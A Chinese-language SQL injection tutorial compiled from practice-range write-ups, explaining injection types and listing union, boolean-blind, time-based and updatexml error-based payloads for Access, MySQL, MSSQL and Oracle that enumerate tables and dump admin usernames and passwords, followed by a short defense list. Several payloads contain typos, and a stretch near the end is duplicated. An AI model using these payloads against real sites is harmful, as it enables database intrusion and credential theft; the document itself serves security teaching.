一、什么是SQL注入?

答:SQL注入是比较常见的网络攻击方式之一,它不是利用OS的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句实现无账号登陆,甚至篡改数据库。

二、SQL注入的原理?

答:SQL注入攻击通过构建特殊的输入语句作为参数传入web应用程序,指的是服务器对用户输入数据过滤不严,导致服务器SQL语句被恶意篡改并成功

SQL注入的危害?

当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。

SQL注入带来的危害主要有如下几点:

  1. 猜解数据库(这是利用最多的方式)盗取网站敏感信息。
  2. 绕过验证,例如绕过验证登陆进入网站后台
  3. 注入可以借助数据库的存储过程进行提权等操作
  4. 管理员账号被篡改
  5. 网页被挂马
  6. 服务器被远程控制,被安装后门
  7. 破坏硬盘数据,瘫痪全系统

三、SQL注入攻击的总体思路

  • 寻找SQL注入位置
  • 判断服务器类型和后台数据库类型
  • 针对不同服务器和数据库特点进行SQL注入攻击

SQL注入条件:

1、必须有参数传递

2、参数值带入数据库查询并执行 and 1=1 返回正确 and 1=2返回错误

大概判断是否存在注入点:

  1. 如果参数(id)是数字,测试id=2-1 与id=1返回结果是否相同,如果做了2-1的运算,说明可能存在数字型注入。如果要用+号运算,因为URL编码的问题,可能需要把+号换成%2B,例如 id=1%2B1
  2. 在参数后面加单引号或者双引号,判断返回结果是否有报错
  3. 添加注释符,判断前后是否有报错,例如 id=1’ # 或者 id=1’ --+(后面跟+是把+当成空格使用)
  4. 有些参数可能在括号里面,如:SELECT first_name,last_name FROM user where user idd=(’$id’);所以也可以在参数后面加单双引号加括号如 id=1’) --+或者 id=1")–+
  5. 参数后面跟or 或者 and,判断结果是否有变化
  6. 如果回显正确和报错都是一样的界面,可以考虑时间延迟的方式判断是否存在注入,如 1’ and sleep(5) (延迟5m)

SQL注入分类按数据类型分为俩类)

  • 数字型SQL注入
  • 字符型SQL注入

按注入点分:

  • 请求参数注入:修改GET、POST中的参数
  • URL注入
  • 盲注
  • cookie注入
  • HTTP头消息注入
  1. X-Forwarded-For:是一个HTTP扩展头部,主要是为了让WEB服务器获取访问用户的真实IP。
  2. User-agert:用户代理头信息,记录了客户的软件程序相关信息
  3. Refer:记录了请求来源(记录了你是从哪里跳转过来的)
  • 延时注入
  • 报错型注入

四、常见的数据库

Access:体积小,速度快,但很少见,多用于久远的小型数据库,常与asp搭配。

MySQL:体积小、速度快、功能简洁,多用于小型数据库,常与PHP / Java搭配。

SqlServer:较MySQL稍显复杂,功能也更为强大(也意味着攻击面更广),多用于中型数据库,常与.NET搭配。

Oracle:体积大、结构复杂、安全性高,多用于大型数据库,常与Java搭配。

......

五、ASP的ACCESS数据库SQL注入入门

access数据库

是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具。

access注入基本流程?

  • 判断有没有注入点
  • 猜解表名
  • 猜解字段
  • 猜解管理员ID值
  • 猜解用户名和密码长度
  • 猜解用户名和密码

ASP的数据库:SQL sever或者access

联合查询法(速度快、兼容性不好)

  1. ​ and 1=1 、 and 1=2——判断注入
  2. ​ order by …(猜有多少列order by 5回显正确,order by 6报错,则表示有五列)
  3. ​ union select 1,2,3,4,5 from admin(猜表名,如果报错就说明表名不存在,将admin换成别的)
  4. ​ union select 1,2,username,4,password(在数字3,5有回显位即在回显位上进行猜解字段)

access数据库盲注?

判断是什么数据库?

​ SQL sever或者access(回显正常是SQL sever回显不正常是access)语句如1

先找数据传参的地方,寻找注入点。

1、用来判断数据库

and (select count(*) from msysobjects)>0
回显错误,证明该数据库为access数据
或者
and exists(select * from msysobjects)>0
回显成功/根据回显消息提示,没有读取数据权限,即该数据库为access

2、查表名,回显正确即表示存在表名admin

and 0<>(select count(*)from andmin) 或者 and exists(select * from admin)

3、判断管理员账号数目(>1回显正确 >2报错 即表示存在一个管理员账号)

and (select count(*) from admin)>0(数字可以修改)

4、查询admin下的adminuid(通过F12查看源代码猜测)是否存在

and 1=(select count(*)from admin where len (adminuid)>0)

判断存在后猜测字段长(=5时回显正确,即字段长=5)

and 1=(select count(*)from admin where len (adminuid)=5)

5、判断密码的字段长(当字段长=16时回显正常)

and 1=(select count(*)from admin where len (adminpwd)>0)

以上可知管理员账号:admin 密码为16位md加密

ASCII码

6、验证账号为admin

一位一位的用大于等于号判断

and (select top 1 asc(mid(adminuid,1,1))from admin)=55

and (select top 1 asc(mid(adminuid,2,1))from admin)=97

and (select top 1 asc(mid(adminuid,3,1))from admin)>1 …

7、一步一步猜解密码16为7a57a5a743894a0e(解密为admin)

and (select top 1 asc(mid(adminpwd,1,1))from admin)>1

and (select top 1 asc(mid(adminpwd,2,1))from admin)>1 …

六、MYSQL数据库

在MySQL注入中常用的注释方式:

注释说明
#单行注释 URL编码 %23,在URL框直接使用中#号必须用%23来表示,#在URL框中有特定含义,代表锚点
–空格单行注释 ,实际使用中–空格用–+来表示。因为在URL框中,浏览器在发送请求的时候会把URL末尾的空格舍去,所以用–+代替–空格

在MySQL 5.0及以上版本中,提供了以下元数据信息(这里列出常用的):

  • information_schema:系统数据库,包含所有数据库的相关信息
  • information_schema.tables:table_name记录了所有的表名
  • information_schema.column:column_name记录了所有列名
  • information_schema.schemata:schema_name记录了所有数据库名

常用的字符串连接函数:

  • concat(str1,str2,…):连接字符串
  • concat_ws(separator,str1,str2,…):使用分隔符连接字符串
  • group_concat(str1,str2,…):连接一个组的所有字符串,并以逗号分隔每一条数据

MYSQL数据库查询顺序:数据库名称-表名-字段-字段内容

猜解字段数

order by(SQL中的排序语法,表示对第几列进行排序)进行 猜解:

1' or 1 order by 1 #		# 查询成功 
# "select * from table where id='1' or 1 order by 1 # '" 
1' or 1 order by 2 #		# 查询成功 
1' or 1 order by 3 #		# 查询失败 
#表示该数据库存在2列,x从1开始往下尝试,到第几列失败则表明第几列不存在

确定回显字段

数据库查询的时候并不是都有回显的,没有回显的时候或者所有字段均不回显的情况,我们就需要用到其他SQL注入手段,例如盲注、延时注入、报错注入等

1’ union select 1,2 #

华哥靶场wp的playload:

步骤:
index.php?id=1 and 1=1
order by 5
UNION SELECT 
#先知道库名、版本(记录下来)
version()user()database()
#知道数据库后查表名
UNION SELECT 1,table_name,3,4,5 from information_schema.tables where table_schema=‘hackyl’
#因为有php魔术引号所以要转义,小葵转码(hackyl)
UNION SELECT 1,group_concat(table_name),3,4,5 from infomation_schema.tables where table_schema=‘hackyl’
UNION SELECT 1,group_concat(column_name),3,4,5 from infomation_schema.columns where table_name=userUNION SELECT 1,username,password,4,5 from user

7、布尔盲注

布尔盲注的利用场景:在注入时无回显,无报错,通过页面观察正确SQL与错误SQL语句执行结果的不同

常用函数

函数描述
left(str, len)从左边截取指定长度的字符串
length(str)获取字符串长度
ascii(str)将指定字符串进行ascii编码
substr(str, start, len)截取字符串,可以指定起始位置和长度
mid(str, start, len)截取字符串,可以指定起始位置和长度
count()返回匹配条件的行数
sleep(n)将程序挂起n秒
if(param1, param2, param3)param1作为条件,当其返回结果为true时,执行param2,否则执行param3

华哥靶场wp的playload:

魔术引号 单引号的时候返回不正常
有些时候	#号有问题不被识别  
尽量要用	%23 (url里面用)或者其他注释
先判断字段order by
union select 12 %23
数据库,版本,用户
库名是webug
猜数据库长度
 and length(database())=5 %23
猜数据库全名
and ascii(substr(database()1,1))>1 %23
and ascii(substr(database(),2,1))>1 %23
...
判断表名
and (select count(*) from information_schema.tables where table_schema=database())>1  %23
猜每个表有多长
and (select count(*) from information_schema.tables where table_schema=database()limit 0,1)=9 %23
查第二个表
and (select count(*) from information_schema.tables where table_schema=database()limit 1,1)=8 %23
猜表名
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101  %23
猜表中字段数
and (select count(clumn_name)from information_schema.columns where from table_name=’env_list’ )>1 %23
判断字段长度(0--)
and (select count(*) from information_schema.columns where table_name=‘env_list’ limit,5,1)=7 %23
猜字段名

8、延时注入

基于时间盲注的原理分析,注入SQL语句执行后不提示真假,也不能通过页面内容来进行判断,通过构造SQL语句注入,查看页面响应的时间来判断信息为时间盲注。

延时注入的原理就是所要爆的信息的ascii码正确时,产生延时,否则不延时

常用函数说明
sleep(x)睡眠x秒
if(x,y,z)如果x为真则返回y,否则返回z
ascii©返回字符c对应的ascii码
substring出字符串里的值

华哥靶场wp的playload:

#出现延迟,说明存在注入 
 id=2and sleep(5) %23 让他睡眠5m
#判断数据库字符长度
#如果数据库的长度等于5就延时3m否则输出1
and if(length (database())=5,sleep(3),1) %23
#爆破数据库名
and if(ascii(substr(database(),1,1))=119,sleep10(),1) %23
and  if(ascii(substr(database(),2,1))=101,sleep(3),1) %23
...
#判断当前数据库表数量
and if((select count(*) from information_schema.tables where table_schemam=database())=7,sleep(3),1) %23
#判断第一张表表名长度
and if((select length(table_name) from informattion_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1) %23
#判断第二张表表名长度
and if((select length(table_schema)from information_schema.tables where table_schema=databse() limit 0,1)=8,sleep(3),1) %23
#判断第三张表名长度
....
#爆破第二张表表名
#第一个字符的ascii码值
1and if(ascii(substr((selectt table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1) %23
#第二个字符的ascii码值
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1) %23
#第三个字符的ascii码值
......
#猜解表有多少个字段
and if((select count(column_name)from information_schema.columns where table_name=‘env_list’)=8,sleep(3),1) %23
#猜解表的第一个列名字符长度
and if((select count(column_name)from information_schema.columns where table_name=‘env_list’ limit 0,1)=2,,sleep(3),1) %23
#猜解表的第二个列名长度
....

9、报错注入X-Forworded-For:

X-Forwarded-For 是一个 HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址

伪造IP

墨者学院在线靶场wp:

伪造IP
x-forwarded-for:
白名单
updatexml()报错注入
127.0.0.1',updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #  爆当前用户权限

127.0.0.1',updatexml(1,concat(0x7e,(select database()) ,0x7e),1)) #  爆当前用户数据库
  webcalendar
  
127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 0,1),0x7e),1))#  获取第一个表名

127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 1,1),0x7e),1))#  获取第二个表名

127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 0,1),0x7e),1))#  获取第一个字段

127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 1,1),0x7e),1))#  获取第二个字段

127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 2,1),0x7e),1))#  获取第三个字段

127.0.0.1', updatexml(1,concat(0x7e,(select group_concat(username,password) from user) ,0x7e),1)) # 获取字段内容

host返回服务器IP

10、SqlServer(MSSQL)注入

MSSQL的语法与MySQL有些许不同,它是强类型的数据库语言,并且单行注释符是采用– 。

MSSQL中常见的系统函数和变量:

  • @@version:版本信息
  • @@SERVERNAME:获取有关服务器主机的信息
  • db_name():数据库名
  • col_name():查列名,可以传入列id到对应列名,常与object_id联用
  • object_id():返回指定对象的ID值
  • current_user:当前用户
  • system_user:系统用户
  • sysobjects:数据库信息表(通过database.dbo.sysobjects引用)

华哥靶场wp的playload:

and 1=2 union all select null,null,null,null
用单引号一个一个试
and 1=2 union all select null,null,null,null
试成功后可改成数字
and 1=2 union all select null,2,3,null
查数据库
and 1=2 union all select null,(select  db_name()),3,null
查数据库版本
and 1=2 union all select null,(select @@version),3,null
查表名
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),3,null
查表里字段(后面的数字1可更改)
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),3,nulland 1=2 union all select null,(select top 1 usename from manage),3,null
and 1=2 union all select null,(select top 1 password from manage),3,null

11、oracle注入

Oracle是比较复杂的数据库,一般只在sqlmap跑不了的情况下手工注入。它的最高权限是 DBA 角色,该角色下存在两个用户:sys和system。

dual表:这张表是Oracle的一张虚拟表,只有一行一列,每个用户都可以使用,但也有可能被删掉(sys可以恢复),只是用来构成select的语法规则。

Oracle中常见的系统函数和变量:

  • sys.v_$version:Oracle版本信息表
  • sys_context():用来获取信息的预定义函数,第一个参数为查询空间’user_env’,第二个为查询信息
  • rownum:列数
  • user_tables:当前用户的表
  • all_tab_columns:所有字段
  • user_tab_columns:当前用户的字段

使用墨者在线靶场wp的playload:

指定表
from dual
判断几个字段
 id = 1 order by 2
查询任何东西得加 from dual
id = 1 and 1=2 union select null,null from dual
加单引号判断回显
id = 1 and 1=2 union selectnull,null from dual
回显后改为数字
id = 1 and 1=2 union select null,2from dual
and 1=2 union seclect null,(seclect sys_context(‘userenv’,current_user)from dual) from dual
回显:SYSTEM
判断数据库是什么
and 1=2 union seclect null,(seclect instance_name from V$INSTANCE) from dual
当前数据库:XE
查版本?Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
and 1=2 union seclect null,(seclect banner from sys.V_$version where rownum=1) from dual
查表
and 1=2 union seclect null,(seclect table_name from user_tables where rownum=1 and table_name like%user%)from dual
sns_users
 列
and 1=2 union select null,(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1) from dual
USER_NAME
第二列
and 1=2 union select null,(select user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name not in (‘USER_NAME’)) from dual
USER_PWD
第三列
and 1=2 union select null,(select user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name not in (‘USER_NAME’,’USER_PWD’)) from dual
报数据
and 1=2 union select USER_NAME,USER_PWD from "sns_users"
and 1=2 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ (过滤掉一个错误信息hu)

这里需要提一下单双引号的问题,用双引号包裹起来的字符大小写敏感,其他的 Oracle 都默认是大写,因此表名(包括对象名、字段名也是)需要用双引号包裹。而单引号是用来包裹字符串,表示数据类型(单引号包裹的字符串也区分大小写!!)

12、如何防御SQL注入

  • 严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害
  • 校验参数的数据格式是否合法(可以使用正则或特殊字符的判断)
  • 对进入数据库的特殊字符进行转义处理,或编码转换
  • 预编译 SQL(Java 中使用 PreparedStatement),参数化查询方式,避免 SQL拼接
  • 发布前,利用工具进行 SQL 注入检测
    users"
    and 1=2 union select USER_NAME,USER_PWD from “sns_users” where USER_NAME <> ‘hu’ (过滤掉一个错误信息hu)

这里需要提一下单双引号的问题,用双引号包裹起来的字符大小写敏感,其他的 Oracle 都默认是大写,因此表名(包括对象名、字段名也是)需要用双引号包裹。而单引号是用来包裹字符串,表示数据类型(单引号包裹的字符串也区分大小写!!)

12、如何防御SQL注入

  • 严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害
  • 校验参数的数据格式是否合法(可以使用正则或特殊字符的判断)
  • 对进入数据库的特殊字符进行转义处理,或编码转换
  • 预编译 SQL(Java 中使用 PreparedStatement),参数化查询方式,避免 SQL拼接
  • 发布前,利用工具进行 SQL 注入检测
  • 报错信息不要包含 SQL 信息输出到 Web 页面

参考文章:
http://www.tuzk1.top/posts/dff8e681.html
https://wwwblogs/Fluorescence-tjy/p/10400588.html
https://jwt1399.top/posts/32179.html

更多推荐

SQL注入基础总结